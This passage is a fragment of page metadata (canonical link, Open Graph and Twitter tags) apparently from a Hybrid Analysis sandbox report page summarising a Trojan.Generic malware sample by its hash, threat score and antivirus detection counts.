follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/4702fdc4487d8d8e657e74d87a3fbc20ca1b433aba29b52891fd83319dc8a209"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 4702fdc4487d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 4702fdc4487d…. Malware family: Trojan.Generic. Threat score 100/100. 25/27 AV engines flagged this file. 5 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/4702fdc4487d8d8e657e74d87a3fbc20ca1b433aba29b52891fd83319dc8a209"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 4702fdc4487d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 4702fdc4487d…. Malware family: Trojan.Generic. Threat score 100/100. 25/27 AV engines flagged this file. 5 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2e","11",{}]]